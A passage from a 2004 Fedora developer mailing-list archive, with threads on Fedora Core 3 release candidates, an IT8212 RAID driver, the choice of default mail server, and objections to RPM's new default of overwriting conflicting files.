<1099115032.3697.5.camel@mentorng.gurulabs.com> Message-ID: <20041030163609.7c24016c.thias@spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net> Dax Kelson wrote : > On Fri, 2004-10-29 at 15:03, Elliot Lee wrote: > > For your weekend enjoyment, please try: > > > > http://fedora.linux.duke.edu/FC3-rc/3/ > > http://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ > > ftp://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ > > rsync://sunsite.mff.cuni.cz/ftp/OS/Linux/Dist/Fedora.RC/3/ > > http://testing.fedora.redhat.com/tree/ (still syncing, should be ready > > by 8pm EDT Oct 29.) > > Thanks very much for the rsync'able ISOs. And thanks a lot too for the ftp'able DVD ISOs, since http gives 403 errors on those > 2GB files :-) Matthias -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.9-1.643.radeon Load : 0.39 0.25 0.14 From sjansen at gurulabs.com Sat Oct 30 15:06:43 2004 From: sjansen at gurulabs.com (Stuart Jansen) Date: Sat, 30 Oct 2004 09:06:43 -0600 Subject: FC3 rpm behavior change In-Reply-To: <1099132859.4771.1.camel@anu.eridu> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> Message-ID: <1099148803.2347.2.camel@vision> On Sat, 2004-10-30 at 11:40 +0100, Paul Nasrat wrote: > On Sat, 2004-10-30 at 10:27 +0200, Emmanuel Seyman wrote: > > On Sat, Oct 30, 2004 at 01:20:58AM -0600, Dax Kelson wrote: > > > > > > In Fedora Core 3, RPM will ignore such conflicts, and the package > > > installation will proceed, overwriting any conflicting files from > > > previously-installed packages. > > > > Is there any way to revert to the previous behaviour ? > > rpm --fileconflicts So we've got a reply from an @redhat.com that says how to avoid the behavior. But we haven't heard what the reason for the change was. There's been some times on my x86_64 when such an approach might have been nice, but otherwise I just don't understand it. -- Stuart Jansen Guru Labs, L.C. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From peter.backlund at home.se Sat Oct 30 15:21:39 2004 From: peter.backlund at home.se (Peter Backlund) Date: Sat, 30 Oct 2004 17:21:39 +0200 Subject: Status of IT8212 RADI/IDE and pwc drivers (Alan!) In-Reply-To: <20041029151217.GC30344@devserv.devel.redhat.com> References: <1099049674.19739.6.camel@h101n4fls309o1124.telia.com> <20041029151217.GC30344@devserv.devel.redhat.com> Message-ID: <1099149699.3492.4.camel@h101n4fls309o1124.telia.com> fre 2004-10-29 klockan 11:12 -0400 skrev Alan Cox: > On Fri, Oct 29, 2004 at 01:34:34PM +0200, Peter Backlund wrote: > > I'd like to know what the status of the IT8212 RAID/IDE Controller > > driver is with regard to the FC3 kernel. Is it possible to pick the > > driver from the -ac patchset and build against the FC3 kernel, or do the > > API differ too much? If it's not possible to build, could the driver be > > modified to use the old IDE API? > > The -ac driver should be happy and working again in the -ac I push today Confirmed on 2.6.9-1.643 with the -ac5 version (0.03se). I guess this won't get into an FC kernel anytime soon, so maybe an Extras package would be a good idea? I did however get an oops with the -ac4 version, but I'm not sure you would be interested in seeing that since -ac5 works fine. Anyway, I'm putting it on the web just in case: http://petrix.se/fedora/it8212-oops Makefile used is just obj-m := it8212.o /Peter From loony at loonybin.org Sat Oct 30 15:19:30 2004 From: loony at loonybin.org (Peter Arremann) Date: Sat, 30 Oct 2004 11:19:30 -0400 Subject: FC3 rpm behavior change In-Reply-To: <1099148803.2347.2.camel@vision> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> Message-ID: <200410301119.30527.loony@loonybin.org> On Saturday 30 October 2004 11:06, Stuart Jansen wrote: > On Sat, 2004-10-30 at 11:40 +0100, Paul Nasrat wrote: > > rpm --fileconflicts > > So we've got a reply from an @redhat.com that says how to avoid the > behavior. But we haven't heard what the reason for the change was. > There's been some times on my x86_64 when such an approach might have > been nice, but otherwise I just don't understand it. I agree - maybe an explanation would help us understand this but so far it sounds insane. I have to maintain a environment for 400 developers that all require root (through sudo) for their work... Unfotunately that means that they sometimes go ahead and install their own packages - I can bet you, the day after this change goes in, the number of systems broken by installing incompatible or bad packages will go from 1 or two a week to dozens... The only thing that saves us right now is file conflicts... Peter. From LightingIsFun at gmail.com Sat Oct 30 15:23:55 2004 From: LightingIsFun at gmail.com (David Corrigan) Date: Sat, 30 Oct 2004 08:23:55 -0700 Subject: FC3rc5 In-Reply-To: <20041030163609.7c24016c.thias@spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net> References: <1099115032.3697.5.camel@mentorng.gurulabs.com> <20041030163609.7c24016c.thias@spam.spam.spam.spam.spam.spam.spam.egg.and.spam.freshrpms.net> Message-ID: <204752da04103008233266c67d@mail.gmail.com> I agree, I like to use 1 DVD instead of 4 cds. I got an error saying "Isolinux: Disk Error 10" when I tried to install from the DVD. Does anyone know what this means? FYI I'm verifying the iso right now. David On Sat, 30 Oct 2004 16:36:09 +0200, Matthias Saou wrote: > Dax Kelson wrote : > > > On Fri, 2004-10-29 at 15:03, Elliot Lee wrote: > > > For your weekend enjoyment, please try: > > > > > > http://fedora.linux.duke.edu/FC3-rc/3/ > > > http://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ > > > ftp://sunsite.mff.cuni.cz/OS/Linux/Dist/Fedora.RC/3/ > > > rsync://sunsite.mff.cuni.cz/ftp/OS/Linux/Dist/Fedora.RC/3/ > > > http://testing.fedora.redhat.com/tree/ (still syncing, should be ready > > > by 8pm EDT Oct 29.) > > > > Thanks very much for the rsync'able ISOs. > > And thanks a lot too for the ftp'able DVD ISOs, since http gives 403 errors > on those > 2GB files :-) > > Matthias > > -- > Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ > Fedora Core release 2.91 (FC3 Test 2) - Linux kernel 2.6.9-1.643.radeon > Load : 0.39 0.25 0.14 > > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list > From alan at redhat.com Sat Oct 30 16:02:37 2004 From: alan at redhat.com (Alan Cox) Date: Sat, 30 Oct 2004 12:02:37 -0400 Subject: Status of IT8212 RADI/IDE and pwc drivers (Alan!) In-Reply-To: <1099149699.3492.4.camel@h101n4fls309o1124.telia.com> References: <1099049674.19739.6.camel@h101n4fls309o1124.telia.com> <20041029151217.GC30344@devserv.devel.redhat.com> <1099149699.3492.4.camel@h101n4fls309o1124.telia.com> Message-ID: <20041030160237.GB9372@devserv.devel.redhat.com> On Sat, Oct 30, 2004 at 05:21:39PM +0200, Peter Backlund wrote: > Confirmed on 2.6.9-1.643 with the -ac5 version (0.03se). I guess this > won't get into an FC kernel anytime soon, so maybe an Extras package > would be a good idea? I'd hope we can get it into the base soon. The 2.6.9 original IDE code allows any user to read random bits of kernel memory.. From john.mizell at sbcglobal.net Sat Oct 30 16:18:15 2004 From: john.mizell at sbcglobal.net (John Mizell) Date: Sat, 30 Oct 2004 09:18:15 -0700 (PDT) Subject: mail gui Message-ID: <20041030161815.66576.qmail@web80707.mail.yahoo.com> To begin programming one has to know what to program against. Right now no one knows what the perfered mail server is. John Mizell Am Sa, den 30.10.2004 schrieb John Mizell um 2:35: > When can we expect development to start on a Mail > server Gui tool? It seems this is one of the last > servers that does not have a gui. > John Mizell Feel free to start programming :) Btw. what do you mean with the term "mail server"? Any specific one of the 3 MTAs Fedora ships with (Sendmail, Postfix, Exim) or Cyrus-IMAPd or dovecot for the IMAP/POP3 serving? Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 04:15:49 up 10 days, 55 users, load average: 0.28, 0.56, 0.54 From rdieter at math.unl.edu Sat Oct 30 16:42:40 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Sat, 30 Oct 2004 11:42:40 -0500 Subject: FC3 rpm behavior change In-Reply-To: <1099148803.2347.2.camel@vision> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> Message-ID: <4183C480.9080201@math.unl.edu> Stuart Jansen wrote: > On Sat, 2004-10-30 at 11:40 +0100, Paul Nasrat wrote: > >>On Sat, 2004-10-30 at 10:27 +0200, Emmanuel Seyman wrote: >> >>>On Sat, Oct 30, 2004 at 01:20:58AM -0600, Dax Kelson wrote: >>> >>>> In Fedora Core 3, RPM will ignore such conflicts, and the package >>>> installation will proceed, overwriting any conflicting files from >>>> previously-installed packages. >>> >>>Is there any way to revert to the previous behaviour ? >> >>rpm --fileconflicts > > > So we've got a reply from an @redhat.com that says how to avoid the > behavior. I have to agree with the consensus shown here that this change in default behavior is, to put in mildly, *just plain stupid*. Please, please revert to previous, proper behavior, and force folks who insist on this broken behavior to use rpm --replacefiles Has anyone bothered to submit anything to bugzilla yet? (If not, I'd be happy to). -- Rex From alexander.dalloz at uni-bielefeld.de Sat Oct 30 16:44:15 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Sat, 30 Oct 2004 18:44:15 +0200 Subject: mail gui In-Reply-To: <20041030161815.66576.qmail@web80707.mail.yahoo.com> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> Message-ID: <1099154655.18072.818.camel@serendipity.dogma.lan> Am Sa, den 30.10.2004 schrieb John Mizell um 18:18: > To begin programming one has to know what to program > against. Right now no one knows what the perfered mail > server is. > John Mizell Again, what stands the term "mail server" for you? The preferred MTA is certainly that one you are most experienced and knowing about. For the IMAP/POP3 server this may be a bit different, because it depends more on the environment you want to set up the IMAP/POP3 server for. The feature rich Cyrus-IMAPd is the most powerful available on *NIX and can handle really large mail user bases. I would think dovecot does not scale that good and has less capabilities. Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 18:30:07 up 10 days, 15:09, load average: 0.02, 0.16, 0.18 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From jmizell at whileloop.com Sat Oct 30 17:14:08 2004 From: jmizell at whileloop.com (John Mizell) Date: Sat, 30 Oct 2004 12:14:08 -0500 Subject: mail gui In-Reply-To: <1099154655.18072.818.camel@serendipity.dogma.lan> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> Message-ID: <1099156448.13009.13.camel@supernova> I disagree. I believe the fedora project needs to come to a consensus about which MTA or which imap/pop program is the preferred application. Just because you know an application does not mean it is the best one for the job. If I make that choice then I risk that the programming will go unused because other mail programs are preferred. I already know how to configure several MTAs and imap/pop servers. I am looking to keep the community effort in place not to push one's agenda. John Mizell On Sat, 2004-10-30 at 18:44 +0200, Alexander Dalloz wrote: > Am Sa, den 30.10.2004 schrieb John Mizell um 18:18: > > > To begin programming one has to know what to program > > against. Right now no one knows what the perfered mail > > server is. > > > John Mizell > > Again, what stands the term "mail server" for you? The preferred MTA is > certainly that one you are most experienced and knowing about. For the > IMAP/POP3 server this may be a bit different, because it depends more on > the environment you want to set up the IMAP/POP3 server for. The feature > rich Cyrus-IMAPd is the most powerful available on *NIX and can handle > really large mail user bases. I would think dovecot does not scale that > good and has less capabilities. > > Alexander > > > -- > fedora-devel-list mailing list > fedora-devel-list at redhat.com > http://www.redhat.com/mailman/listinfo/fedora-devel-list From NOS at Utel.no Sat Oct 30 17:19:01 2004 From: NOS at Utel.no (=?ISO-8859-1?Q?=22Nils_O=2E_Sel=E5sdal=22?=) Date: Sat, 30 Oct 2004 19:19:01 +0200 Subject: FC3 rpm behavior change In-Reply-To: <000501c4be9f$d4df2d90$14aaa8c0@utelsystems.local> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <000501c4be9f$d4df2d90$14aaa8c0@utelsystems.local> Message-ID: <4183CD05.8080106@Utel.no> Rex Dieter wrote: >> >> >> So we've got a reply from an @redhat.com that says how to avoid the >> behavior. > > > I have to agree with the consensus shown here that this change in > default behavior is, to put in mildly, *just plain stupid*. Please, > please revert to previous, proper behavior, and force folks who insist > on this broken behavior to use > rpm --replacefiles > > Has anyone bothered to submit anything to bugzilla yet? (If not, I'd be > happy to). Please do. It might just be that. A bug. -- Nils O. Sel?sdal www.utelsystems.com From alexander.dalloz at uni-bielefeld.de Sat Oct 30 17:41:47 2004 From: alexander.dalloz at uni-bielefeld.de (Alexander Dalloz) Date: Sat, 30 Oct 2004 19:41:47 +0200 Subject: mail gui In-Reply-To: <1099156448.13009.13.camel@supernova> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> Message-ID: <1099158106.18072.839.camel@serendipity.dogma.lan> Am Sa, den 30.10.2004 schrieb John Mizell um 19:14: > I disagree. I believe the fedora project needs to come to a consensus > about which MTA or which imap/pop program is the preferred application. > Just because you know an application does not mean it is the best one > for the job. If I make that choice then I risk that the programming will I must say that I do not understand that argument. From my understanding what you say is in contrast giving the reason why there is hardly the one and always fitting MTA. If you know that you have the choice between alternates then just decide yourself, based on the project conditions. > go unused because other mail programs are preferred. I already know how > to configure several MTAs and imap/pop servers. I am looking to keep the > community effort in place not to push one's agenda. What is the problem with the current alternates Fedora Core ships and the MTA switching mechanism? > John Mizell Alexander -- Alexander Dalloz | Enger, Germany | GPG key 1024D/ED695653 1999-07-13 Fedora GNU/Linux Core 2 (Tettnang) kernel 2.6.8-1.521smp Serendipity 19:32:23 up 10 days, 16:11, load average: 0.83, 0.42, 0.32 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Dies ist ein digital signierter Nachrichtenteil URL: From tdiehl at rogueind.com Sat Oct 30 18:10:36 2004 From: tdiehl at rogueind.com (Tom Diehl) Date: Sat, 30 Oct 2004 14:10:36 -0400 (EDT) Subject: mail gui In-Reply-To: <1099156448.13009.13.camel@supernova> References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> Message-ID: On Sat, 30 Oct 2004, John Mizell wrote: > I disagree. I believe the fedora project needs to come to a consensus > about which MTA or which imap/pop program is the preferred application. There is no one preferred MTA or pop/imap program. THere are already 2 or 3 MTA's included with Fedora, for example. If you try and force one you will have one large religious war on your hands, unless of course you pick Postfix for the MTA. :-) Ducks and runs!! Regards, Tom From pri.rhl3 at iadonisi.to Sat Oct 30 18:44:07 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Sat, 30 Oct 2004 14:44:07 -0400 Subject: FC3 rpm behavior change In-Reply-To: <4183C480.9080201@math.unl.edu> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> Message-ID: <1099161846.19755.5.camel@va.local.linuxlobbyist.org> On Sat, 2004-10-30 at 12:42, Rex Dieter wrote: > I have to agree with the consensus shown here that this change in > default behavior is, to put in mildly, *just plain stupid*. Please, > please revert to previous, proper behavior, and force folks who insist > on this broken behavior to use > rpm --replacefiles Agreed, wholeheartedly. Hell, why bother with rpm at all, if this is the default. I might as well switch a DIY linux and just install from tarball. Without an explanation, or maybe a pointer to the a discussion on rpm-list (is that hosted at Red Hat?), this just seems like someone was smokin' crack. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From mpeters at mac.com Sat Oct 30 18:58:48 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sat, 30 Oct 2004 18:58:48 +0000 Subject: FC3 rpm behavior change In-Reply-To: <1099161846.19755.5.camel@va.local.linuxlobbyist.org> (from pri.rhl3@iadonisi.to on Sat Oct 30 11:44:07 2004) References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> Message-ID: <1099162728l.4007l.2l@devel.mpeters.us> On 10/30/2004 11:44:07 AM, Paul Iadonisi wrote: > On Sat, 2004-10-30 at 12:42, Rex Dieter wrote: > > Without an explanation, or maybe a pointer to the a > discussion > on rpm-list (is that hosted at Red Hat?), this just seems like > someone > was smokin' crack. I don't *see* any discussion on the rpm list. I think it's a bug. From zaitcev at redhat.com Sat Oct 30 19:06:40 2004 From: zaitcev at redhat.com (Pete Zaitcev) Date: Sat, 30 Oct 2004 12:06:40 -0700 Subject: FC3 rpm behavior change In-Reply-To: References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> Message-ID: <20041030120640.082b9e65@lembas.zaitcev.lan> On Sat, 30 Oct 2004 09:06:43 -0600, Stuart Jansen wrote: > > > > In Fedora Core 3, RPM will ignore such conflicts, and the package > > > > installation will proceed, overwriting any conflicting files from > > > > previously-installed packages. > > > > > > Is there any way to revert to the previous behaviour ? > > > > rpm --fileconflicts > > So we've got a reply from an @redhat.com that says how to avoid the > behavior. But we haven't heard what the reason for the change was. There's nothing magic about "a reply from an @redhat.com". I've got such an address, too, but so what. Wait until you see a mail from Jeff Johnson or Christian Gafton. It's a weekend. -- Pete From mpeters at mac.com Sat Oct 30 19:20:00 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sat, 30 Oct 2004 19:20:00 +0000 Subject: mail gui In-Reply-To: (from tdiehl@rogueind.com on Sat Oct 30 11:10:36 2004) References: <20041030161815.66576.qmail@web80707.mail.yahoo.com> <1099154655.18072.818.camel@serendipity.dogma.lan> <1099156448.13009.13.camel@supernova> Message-ID: <1099164000l.4007l.3l@devel.mpeters.us> On 10/30/2004 11:10:36 AM, Tom Diehl wrote: > On Sat, 30 Oct 2004, John Mizell wrote: > > If you try and force one > you will have one large religious war on your hands, unless of course > you > pick Postfix for the MTA. :-) postfix should be the default mta in a chroot jail. It satisfies the needs of the vast majority of users - and I think has a cleaner codebase and is easier to config then sendmail. Sendmail should be available, but I think the default should be postfix. I also think the default cron daemon should be fcron, but that's another thread ... From fedora-devel-list at cygnusx-1.org Sat Oct 30 19:22:23 2004 From: fedora-devel-list at cygnusx-1.org (Nathan G. Grennan) Date: Sat, 30 Oct 2004 12:22:23 -0700 Subject: FC3 rpm behavior change In-Reply-To: <1099162728l.4007l.2l@devel.mpeters.us> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> Message-ID: <1099164143.4462.3.camel@proton.cygnusx-1.org> On Sat, 2004-10-30 at 18:58 +0000, Michael A. Peters wrote: > On 10/30/2004 11:44:07 AM, Paul Iadonisi wrote: > > On Sat, 2004-10-30 at 12:42, Rex Dieter wrote: > > > > Without an explanation, or maybe a pointer to the a > > discussion > > on rpm-list (is that hosted at Red Hat?), this just seems like > > someone > > was smokin' crack. > > I don't *see* any discussion on the rpm list. > I think it's a bug. It isn't a bug in Red Hat's eyes if they mention it in the release notes. But I have filed a bug report about it. I have also already set alias rpm='rpm --fileconflicts' in /etc/zshrc. http://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=137690 From aoliva at redhat.com Sat Oct 30 19:25:57 2004 From: aoliva at redhat.com (Alexandre Oliva) Date: 30 Oct 2004 16:25:57 -0300 Subject: FC3 rpm behavior change In-Reply-To: <20041030114305.155fa594.fedora@wir-sind-cool.org> References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> <20041030114305.155fa594.fedora@wir-sind-cool.org> Message-ID: On Oct 30, 2004, Michael Schwendt wrote: > Including myself. ;) My updates from rawhide were not fresh enough. > And honestly, changing RPM's behaviour in such a way after Test3 is a > very questionable decision. Personally, I don't like the change either. That said, I don't think the change was made after the freeze. I think it was only documented after the freeze, just because that's the time when people get together to figure out what should have been in the test release notes all along but wasn't. If anything, kudos for documenting such a big and controversial change so openly. I hope it's eventually reverted, but, meanwhile, people at least know what to add to their rpmrc files to get the old behavior back. -- Alexandre Oliva http://www.ic.unicamp.br/~oliva/ Red Hat Compiler Engineer aoliva@{redhat.com, gcc.gnu.org} Free Software Evangelist oliva@{lsd.ic.unicamp.br, gnu.org} From fedora-devel-list at cygnusx-1.org Sat Oct 30 19:32:48 2004 From: fedora-devel-list at cygnusx-1.org (Nathan G. Grennan) Date: Sat, 30 Oct 2004 12:32:48 -0700 Subject: FC3 rpm behavior change In-Reply-To: References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> <20041030114305.155fa594.fedora@wir-sind-cool.org> Message-ID: <1099164768.4462.10.camel@proton.cygnusx-1.org> On Sat, 2004-10-30 at 16:25 -0300, Alexandre Oliva wrote: > On Oct 30, 2004, Michael Schwendt wrote: > > > Including myself. ;) My updates from rawhide were not fresh enough. > > And honestly, changing RPM's behaviour in such a way after Test3 is a > > very questionable decision. > > Personally, I don't like the change either. That said, I don't think > the change was made after the freeze. I think it was only documented > after the freeze, just because that's the time when people get > together to figure out what should have been in the test release notes > all along but wasn't. If anything, kudos for documenting such a big > and controversial change so openly. I hope it's eventually reverted, > but, meanwhile, people at least know what to add to their rpmrc files > to get the old behavior back. Where is the rpmrc changes necessary documented? I don't see it in http://testing.fedora.redhat.com/tree/i386/os/RELEASE-NOTES-en.html From feliciano.matias at free.fr Sat Oct 30 19:41:34 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 21:41:34 +0200 Subject: FC3 rpm behavior change In-Reply-To: References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> <20041030114305.155fa594.fedora@wir-sind-cool.org> Message-ID: <1099165294.3309.22.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 16:25 -0300, Alexandre Oliva a ?crit : > On Oct 30, 2004, Michael Schwendt wrote: > > > Including myself. ;) My updates from rawhide were not fresh enough. > > And honestly, changing RPM's behaviour in such a way after Test3 is a > > very questionable decision. > > Personally, I don't like the change either. That said, I don't think > the change was made after the freeze. rpm -q --changelog rpm * dim sep 05 2004 Jeff Johnson 4.3.2-2 ... - restore file conflict detection traditional behavior. ... * mar jui 06 2004 Jeff Johnson 4.3.2-0.5 - change default behavior to resolve file conflicts as LIFO. - add --fileconflicts to recover rpm traditional behavior. ... LIFO ? Last Input First Output ? Don't understand. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From fedora-devel-list at cygnusx-1.org Sat Oct 30 19:53:50 2004 From: fedora-devel-list at cygnusx-1.org (Nathan G. Grennan) Date: Sat, 30 Oct 2004 12:53:50 -0700 Subject: FC3 rpm behavior change In-Reply-To: <1099164143.4462.3.camel@proton.cygnusx-1.org> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <20041030082719.GA14923@orient.maison.moi> <1099132859.4771.1.camel@anu.eridu> <1099148803.2347.2.camel@vision> <4183C480.9080201@math.unl.edu> <1099161846.19755.5.camel@va.local.linuxlobbyist.org> <1099162728l.4007l.2l@devel.mpeters.us> <1099164143.4462.3.camel@proton.cygnusx-1.org> Message-ID: <1099166030.4462.25.camel@proton.cygnusx-1.org> On Sat, 2004-10-30 at 12:22 -0700, Nathan G. Grennan wrote: > alias rpm='rpm --fileconflicts' in /etc/zshrc. Because rpm is a weird combination of multiple commands with a wrapper adding --fileconflicts with an alias doesn't work in all cases. From fedora at wir-sind-cool.org Sat Oct 30 19:56:24 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Sat, 30 Oct 2004 21:56:24 +0200 Subject: FC3 rpm behavior change In-Reply-To: References: <000201c4be52$69d74d90$14aaa8c0@utelsystems.local> <418339DE.5000404@Utel.no> <20041030114305.155fa594.fedora@wir-sind-cool.org> Message-ID: <20041030215624.3a89278e.fedora@wir-sind-cool.org> On 30 Oct 2004 16:25:57 -0300, Alexandre Oliva wrote: > > And honestly, changing RPM's behaviour in such a way after Test3 is a > > very questionable decision. > > Personally, I don't like the change either. That said, I don't think > the change was made after the freeze. I think it was only documented > after the freeze, Seems so. rpm-4.3.2-2 from Test 2 overwrites files happily already, resulting in duplicate installs when "-ivh" is used. # rpm -i test-1.0-2.i386.rpm # rpm -i test-1.0-3.i386.rpm # rpm -q test test-1.0-2 test-1.0-3 # rpm -V test S.5....T /bin/bash32 S.5....T /bin/ls32 > just because that's the time when people get > together to figure out what should have been in the test release notes > all along but wasn't. If anything, kudos for documenting such a big > and controversial change so openly. I hope it's eventually reverted, > but, meanwhile, people at least know what to add to their rpmrc files > to get the old behavior back. Now what does this comment from Sep 5th mean? Who knows? * Sun Sep 05 2004 Jeff Johnson 4.3.2-2 [...] - restore file conflict detection traditional behavior. [...] * Tue Jul 06 2004 Jeff Johnson 4.3.2-0.5 [...] - add --fileconflicts to recover rpm traditional behavior. [...] -- Fedora Core release 2.92 (FC3 Test 3) - Linux 2.6.9-1.640 loadavg: 0.83 0.54 0.28 From perbj at stanford.edu Sat Oct 30 19:53:43 2004 From: perbj at stanford.edu (Per Bjornsson) Date: Sat, 30 Oct 2004 12:53:43 -0700 Subject: Mail gui config In-Reply-To: <1099137171.29563.9.camel@rousalka.dyndns.org> References: <20041030003519.60395.qmail@web80704.mail.yahoo.com> <1099101501.18072.736.camel@serendipity.dogma.lan> <1099133959.23131.6.camel@localhost.localdomain> <1099137171.29563.9.camel@rousalka.dyndns.org> Message-ID: <1099166022.5996.17.camel@scania> On Sat, 2004-10-30 at 04:52, Nicolas Mailhot wrote: > Le samedi 30 octobre 2004 ? 13:59 +0300, Mircea MITU a ?crit : > > To exclude Sendmail, it would be stupid, but making Postfix the default > > MTA it would be a smart move. > > Unfortunately at this point if would not only be a smart move but a long > overdue one. I hope it's not one of those cases where Novell/Suse did it > first so RH won't even contemplate it. Gee, having fun with the conspiracy theories? ;) If this was the case, why would Red Hat package Postfix at all? Likely it's just that there isn't really any consensus on this, and the default Fedora install is locked down by only letting Sendmail listen on local ports anyways so for most users (who really only need an MTA for local mail delivery) it really isn't a big deal; you're pretty much limited to local compromises in any case. In principle I personally do agree that switching to Postfix by default seems like a good idea though, especially given that it's already in the distro and the people who actually care about what MTA they use seem to prefer Postfix. Likely they already use it; I do, partially because I trust the security a bit more, but mainly because I could wrap my brain around how to get it configured sanely, unlike Sendmail which I just couldn't be bothered to figure out. /Per From fedora-devel-list at cygnusx-1.org Sat Oct 30 20:02:19 2004 From: fedora-devel-list at cygnusx-1.org (Nathan G. Grennan) Date: Sat, 30 Oct 2004 13:02:19 -0700 Subject: FC3 rpm behavior change In-Reply-To: <1099120855.3697.8.camel@mentorng.gurulabs.com> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> Message-ID: <1099166539.4462.29.camel@proton.cygnusx-1.org> On Sat, 2004-10-30 at 01:20 -0600, Dax Kelson wrote: > The FC3 Release Notes say: > > ============= > RPM's default behavior regarding file conflicts in Fedora Core 3 has > changed. In the past, file conflicts (where a file from one > already-installed package also appears in a package that is to be > installed) caused the installation of the package containing the > conflicting file to abort. > > In Fedora Core 3, RPM will ignore such conflicts, and the package > installation will proceed, overwriting any conflicting files from > previously-installed packages. > ============ > > What's the rationale for this? The url below seems to give a clue. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=131766 From feliciano.matias at free.fr Sat Oct 30 20:12:16 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Sat, 30 Oct 2004 22:12:16 +0200 Subject: FC3 rpm behavior change In-Reply-To: <1099166539.4462.29.camel@proton.cygnusx-1.org> References: <1099120855.3697.8.camel@mentorng.gurulabs.com> <1099166539.4462.29.camel@proton.cygnusx-1.org> Message-ID: <1099167136.3309.35.camel@localhost.localdomain> Le samedi 30 octobre 2004 ? 13:02 -0700, Nathan G. Grennan a ?crit : > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=131766 > -------------------------------------- Additional Comment #2 From Jeff Johnson (jbj at redhat.com) on 2004-09-04 13:52 ------- FIxed in rpm-4.3.2-2. Please note that the default behavior in rpm is going to become ignoring file conflicts because of the volume of 3rd party, non-RedHat, not built by rpm-4.2 or later, that can/will not install correctly on a multilib machine. -------------------------------------- From rom http://fedora.redhat.com/about/objectives.html Non-Objectives of Fedora Core: - Being a dumping ground for _unmaintained_ or _poorly designed software_. The new behaviour is a bug. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From mpeters at mac.com Sat Oct 30 20:58:29 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sat, 30 Oct 2004 20:58:29 +0000 Subject: FC3 rpm behavior change In-Reply-To: 